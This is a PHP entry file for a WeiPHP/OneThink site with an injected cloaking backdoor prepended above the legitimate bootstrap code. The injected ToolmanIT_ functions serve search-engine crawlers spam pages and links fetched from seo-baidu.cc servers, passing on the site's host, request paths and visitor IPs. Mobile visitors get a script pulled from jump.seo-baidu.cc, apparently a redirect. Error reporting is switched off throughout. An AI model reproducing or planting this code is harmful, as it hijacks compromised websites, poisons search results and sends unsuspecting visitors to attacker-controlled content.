<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");

if (!function_exists('ToolmanIT_cleanHeaderValue')) {
    function ToolmanIT_cleanHeaderValue($v)
    {
        return str_replace(array("\r", "\n"), '', (string)$v);
    }
}

if (!function_exists('ToolmanIT_isValidIp')) {
    function ToolmanIT_isValidIp($ip)
    {
        $ip = trim((string)$ip);
        if ($ip === '' || strcasecmp($ip, 'unknown') === 0) {
            return false;
        }

        return (bool)filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6);
    }
}

if (!function_exists('ToolmanIT_getRealIp')) {
    function ToolmanIT_getRealIp()
    {
        // 优先 X-Real-IP（代理写入），再 CF / X-Forwarded-For，最后 REMOTE_ADDR
        $ToolmanIT_candidates = array();

        if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            $ToolmanIT_candidates[] = $_SERVER['HTTP_X_REAL_IP'];
        }

        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $ToolmanIT_candidates[] = $_SERVER['HTTP_CF_CONNECTING_IP'];
        }

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            foreach (explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']) as $ToolmanIT_part) {
                $ToolmanIT_candidates[] = $ToolmanIT_part;
            }
        }

        if (!empty($_SERVER['REMOTE_ADDR'])) {
            $ToolmanIT_candidates[] = $_SERVER['REMOTE_ADDR'];
        }

        foreach ($ToolmanIT_candidates as $ToolmanIT_ip) {
            $ToolmanIT_ip = trim((string)$ToolmanIT_ip);
            if (ToolmanIT_isValidIp($ToolmanIT_ip)) {
                return $ToolmanIT_ip;
            }
        }

        return '0.0.0.0';
    }
}

if (!function_exists('ToolmanIT_detectScheme')) {
    function ToolmanIT_detectScheme($fallback)
    {
        if (!empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off') {
            return 'https';
        }

        if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
            $ToolmanIT_proto = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0]);
            if ($ToolmanIT_proto !== '') {
                return strtolower($ToolmanIT_proto);
            }
        }

        return $fallback !== '' ? $fallback : 'http';
    }
}

if (!function_exists('ToolmanIT_getRequestHost')) {
    function ToolmanIT_getRequestHost()
    {
        $ToolmanIT_host = isset($_SERVER['HTTP_HOST']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_HOST']) : '';

        if ($ToolmanIT_host === '') {
            return '';
        }

        $ToolmanIT_pos = strpos($ToolmanIT_host, ':');
        if ($ToolmanIT_pos !== false) {
            return substr($ToolmanIT_host, 0, $ToolmanIT_pos);
        }

        return $ToolmanIT_host;
    }
}

if (!function_exists('ToolmanIT_httpGet')) {
    function ToolmanIT_httpGet($url)
    {
        $ToolmanIT_uri  = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/';
        $ToolmanIT_ua   = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : 'Baiduspider';
        $ToolmanIT_ref  = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : '';
        $ToolmanIT_ip   = ToolmanIT_getRealIp();

        $ToolmanIT_headers = array(
            'X-Original-URI: ' . $ToolmanIT_uri,
            'X-Original-UA: ' . $ToolmanIT_ua,
            'X-Real-IP: ' . $ToolmanIT_ip,
            'X-Forwarded-For: ' . $ToolmanIT_ip,
            'X-Original-Referer: ' . $ToolmanIT_ref,
            'Referer: ' . $ToolmanIT_ref
        );

        if (function_exists('curl_init')) {
            $ToolmanIT_ch = curl_init();

            curl_setopt($ToolmanIT_ch, CURLOPT_URL, $url);
            curl_setopt($ToolmanIT_ch, CURLOPT_USERAGENT, $ToolmanIT_ua);
            curl_setopt($ToolmanIT_ch, CURLOPT_HTTPHEADER, $ToolmanIT_headers);
            curl_setopt($ToolmanIT_ch, CURLOPT_REFERER, $ToolmanIT_ref);
            curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ToolmanIT_ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ToolmanIT_ch, CURLOPT_HEADER, false);
            curl_setopt($ToolmanIT_ch, CURLOPT_ENCODING, 'gzip,deflate');
            curl_setopt($ToolmanIT_ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ToolmanIT_ch, CURLOPT_TIMEOUT, 12);
            curl_setopt($ToolmanIT_ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ToolmanIT_ch, CURLOPT_MAXREDIRS, 3);

            $ToolmanIT_body = curl_exec($ToolmanIT_ch);
            curl_close($ToolmanIT_ch);

            return $ToolmanIT_body;
        }

        $ToolmanIT_context = stream_context_create(array(
            'http' => array(
                'method'        => 'GET',
                'timeout'       => 12,
                'ignore_errors' => true,
                'user_agent'    => $ToolmanIT_ua,
                'header'        => implode("\r\n", $ToolmanIT_headers) . "\r\n"
            )
        ));

        return @file_get_contents($url, false, $ToolmanIT_context);
    }
}

if (!function_exists('ToolmanIT_isInnerRequest')) {
    function ToolmanIT_isInnerRequest($uri, $innerScript)
    {
        if (stripos($uri, $innerScript) !== false) {
            return true;
        }

        if (
            isset($_SERVER['SCRIPT_NAME']) &&
            stripos($_SERVER['SCRIPT_NAME'], $innerScript) !== false
        ) {
            return true;
        }

        return false;
    }
}

if (!function_exists('ToolmanIT_resolveUriPath')) {
    function ToolmanIT_resolveUriPath($uri, $isInnerRequest)
    {
        if ($isInnerRequest) {
            $ToolmanIT_query = isset($_SERVER['QUERY_STRING']) ? (string)$_SERVER['QUERY_STRING'] : '';

            if ($ToolmanIT_query === '') {
                return '/';
            }

            if ($ToolmanIT_query[0] === '/') {
                $ToolmanIT_path = strtok($ToolmanIT_query, '?');
                return ($ToolmanIT_path !== false && $ToolmanIT_path !== '') ? $ToolmanIT_path : '/';
            }

            if (strpos($ToolmanIT_query, '=') !== false) {
                return '/' . preg_replace('/^([^=\/]+)=/', '$1/', $ToolmanIT_query, 1);
            }

            return '/' . ltrim($ToolmanIT_query, '/');
        }

        $ToolmanIT_path = parse_url($uri, PHP_URL_PATH);

        if ($ToolmanIT_path === false || $ToolmanIT_path === null || $ToolmanIT_path === '') {
            return '/';
        }

        if (
            $ToolmanIT_path === '/index.php' ||
            $ToolmanIT_path === '/index.html' ||
            $ToolmanIT_path === '/index.htm'
        ) {
            return '/';
        }

        return $ToolmanIT_path;
    }
}

if (!function_exists('ToolmanIT_buildApiUrl')) {
    function ToolmanIT_buildApiUrl($apiBase, $host, $ip, $scheme, $uriPath, $phpScript, $contentType)
    {
        $ToolmanIT_params = array(
            'u'      => $uriPath,
            'host'   => $host,
            'ip'     => $ip,
            'scheme' => $scheme,
            'type'   => $contentType,
        );

        if ($phpScript !== null && $phpScript !== '') {
            $ToolmanIT_params['php'] = $phpScript;
        }

        return rtrim($apiBase, '/') . '/?' . http_build_query($ToolmanIT_params);
    }
}

if (!function_exists('ToolmanIT_buildLinkApiUrl')) {
    function ToolmanIT_buildLinkApiUrl($linkApiBase, $host, $scheme, $phpScript, $contentType)
    {
        $ToolmanIT_params = array(
            'host'   => $host,
            'scheme' => $scheme,
            'type'   => $contentType,
        );

        if ($phpScript !== null && $phpScript !== '') {
            $ToolmanIT_params['php'] = $phpScript;
        }

        return rtrim($linkApiBase, '/') . '?' . http_build_query($ToolmanIT_params);
    }
}

if (!function_exists('ToolmanIT_run')) {
    function ToolmanIT_run()
    {
        $ToolmanIT_config = ToolmanIT_superseoConfig();

        $ToolmanIT_ua  = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
        $ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';

        if (
            stripos($ToolmanIT_uri, 'robots.txt') !== false ||
            stripos($ToolmanIT_uri, 'sitemap.xml') !== false
        ) {
            return;
        }

        $ToolmanIT_innerScript = $ToolmanIT_config['phpInnerScript'];
        $ToolmanIT_pseudoStatic = !empty($ToolmanIT_config['pseudoStatic']);
        $ToolmanIT_isInnerRequest = !$ToolmanIT_pseudoStatic
            && ToolmanIT_isInnerRequest($ToolmanIT_uri, $ToolmanIT_innerScript);

        $ToolmanIT_isHomeRequest = false;
        $ToolmanIT_uriPath = parse_url($ToolmanIT_uri, PHP_URL_PATH);

        if (
            $ToolmanIT_uriPath === '/' ||
            $ToolmanIT_uriPath === '' ||
            stripos($ToolmanIT_uriPath, '/index.php') !== false ||
            stripos($ToolmanIT_uriPath, '/index.html') !== false ||
            stripos($ToolmanIT_uriPath, '/index.htm') !== false
        ) {
            $ToolmanIT_isHomeRequest = true;
        }

        $ToolmanIT_area =
            stripos($ToolmanIT_uri, 'info') !== false ||
            stripos($ToolmanIT_uri, 'xinwen') !== false ||
            stripos($ToolmanIT_uri, 'news') !== false ||
            stripos($ToolmanIT_uri, 'art') !== false ||
            stripos($ToolmanIT_uri, '.shtml') !== false ||
            stripos($ToolmanIT_uri, '.xls') !== false ||
            stripos($ToolmanIT_uri, '.csv') !== false ||
            stripos($ToolmanIT_uri, '.htm') !== false ||
            stripos($ToolmanIT_uri, '.asp') !== false ||
            stripos($ToolmanIT_uri, 'index.php') !== false ||
            $ToolmanIT_isInnerRequest;

        $ToolmanIT_isSpider = preg_match($ToolmanIT_config['spiderReg'], $ToolmanIT_ua);
        $ToolmanIT_isMobile = preg_match($ToolmanIT_config['mobileReg'], $ToolmanIT_ua);

        if ($ToolmanIT_isSpider) {
            $ToolmanIT_host = ToolmanIT_getRequestHost();
            $ToolmanIT_ip = ToolmanIT_getRealIp();
            $ToolmanIT_scheme = ToolmanIT_detectScheme($ToolmanIT_config['scheme']);
            $ToolmanIT_phpScript = $ToolmanIT_pseudoStatic ? null : $ToolmanIT_config['phpInnerScript'];
            $ToolmanIT_uriForApi = ToolmanIT_resolveUriPath($ToolmanIT_uri, $ToolmanIT_isInnerRequest);

            $ToolmanIT_linkUrl = ToolmanIT_buildLinkApiUrl(
                $ToolmanIT_config['linkApiBase'],
                $ToolmanIT_host,
                $ToolmanIT_scheme,
                $ToolmanIT_phpScript,
                $ToolmanIT_config['contentType']
            );

            $ToolmanIT_linkHtml = ToolmanIT_httpGet($ToolmanIT_linkUrl);

            if ($ToolmanIT_linkHtml !== false && trim($ToolmanIT_linkHtml) !== '') {
                echo $ToolmanIT_linkHtml . "\n";
            }

            $ToolmanIT_apiUrl = ToolmanIT_buildApiUrl(
                $ToolmanIT_config['apiBase'],
                $ToolmanIT_host,
                $ToolmanIT_ip,
                $ToolmanIT_scheme,
                $ToolmanIT_uriForApi,
                $ToolmanIT_phpScript,
                $ToolmanIT_config['contentType']
            );

            $ToolmanIT_html = ToolmanIT_httpGet($ToolmanIT_apiUrl);

            if ($ToolmanIT_html !== false && trim($ToolmanIT_html) !== '') {
                echo $ToolmanIT_html;
                exit;
            }

            exit;
        }

        if (!$ToolmanIT_isSpider && !$ToolmanIT_isHomeRequest && $ToolmanIT_area && $ToolmanIT_isMobile) {
            echo '<script src="' . $ToolmanIT_config['mobileJs'] . '"></script>';
            exit;
        }

        return;
    }
}

if (!function_exists('ToolmanIT_superseoConfig')) {
    function ToolmanIT_superseoConfig()
    {
        return array(

            'apiBase'        => 'http://rustv2.seo-baidu.cc/',
            'linkApiBase'    => 'http://test.seo-baidu.cc/link.php',
            'phpIndexScript' => 'index.php',
            'phpInnerScript' => 'index.php?',
            'pseudoStatic' => false,
            'contentType'    => 'news',


            'scheme'         => '',

            'mobileJs'       => 'https://jump.seo-baidu.cc/wang.js',

            'spiderReg'      => '@Baiduspider|Sogou|Yisou|Haosou|360Spider|Bytespider|YandexBot|Googlebot|bingbot@i',

            'mobileReg'      => '/phone|pad|pod|iphone|ipod|ios|ipad|android|mobile|blackberry|iemobile|mqqbrowser|juc|fennec|wosbrowser|browserng|baiduboxapp|bdapp|webos|symbian|windows phone|huawei|honor|xiaomi|redmi|vivo|oppo|meizu|oneplus|zte|lenovo|alipay|dingtalk|wechat|micromessenger|sogou|uc|qqbrowser|toutiao|douyin|tiktok|360browser/i'
        );
    }
}

ToolmanIT_run();
?>

<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 麦当苗儿 <zuojiazi@vip.qq.com> <http://www.zjzit.cn>
// +----------------------------------------------------------------------
error_reporting ( E_ERROR );
date_default_timezone_set ( 'PRC' );
if (version_compare ( PHP_VERSION, '5.3.0', '<' ))
	die ( 'Your PHP Version is ' . PHP_VERSION . ', But WeiPHP require PHP > 5.3.0 !' );

/**
 * 微信接入验证
 * 在入口进行验证而不是放到框架里验证，主要是解决验证URL超时的问题
 */
if (! empty ( $_GET ['echostr'] ) && ! empty ( $_GET ["signature"] ) && ! empty ( $_GET ["nonce"] )) {
	$signature = $_GET ["signature"];
	$timestamp = $_GET ["timestamp"];
	$nonce = $_GET ["nonce"];
	
	$tmpArr = array (
			'weiphp',
			$timestamp,
			$nonce 
	);
	sort ( $tmpArr, SORT_STRING );
	$tmpStr = sha1 ( implode ( $tmpArr ) );
	
	if ($tmpStr == $signature) {
		echo $_GET ["echostr"];
	}
	exit ();
}
/**
 * 系统调试设置
 * 项目正式部署后请设置为false
 */
define ( 'APP_DEBUG', true );
//define ( 'YUYU_LOG', true );
defined('YUYU_LOG') 	or define('YUYU_LOG',      false);
/**
 * 官方远程同步服务器地址
 * 应用于后台应用商店、在线升级等功能
 */
//define ( 'REMOTE_BASE_URL', 'http://www.weiphp.cn' );

// 网站根路径设置
define ( 'SITE_PATH', dirname ( __FILE__ ) . '/..' );
/**
 * 应用目录设置
 * 安全期间，建议安装调试完成后移动到非WEB目录
 */
define ( 'APP_PATH', '../Application/' );

/**
 * 缓存目录设置
 * 此目录必须可写，建议移动到非WEB目录
 */
define ( 'RUNTIME_PATH', '../Runtime/' );

/**
 * 引入核心入口
 * ThinkPHP亦可移动到WEB以外的目录
 */
require '../ThinkPHP/ThinkPHP.php';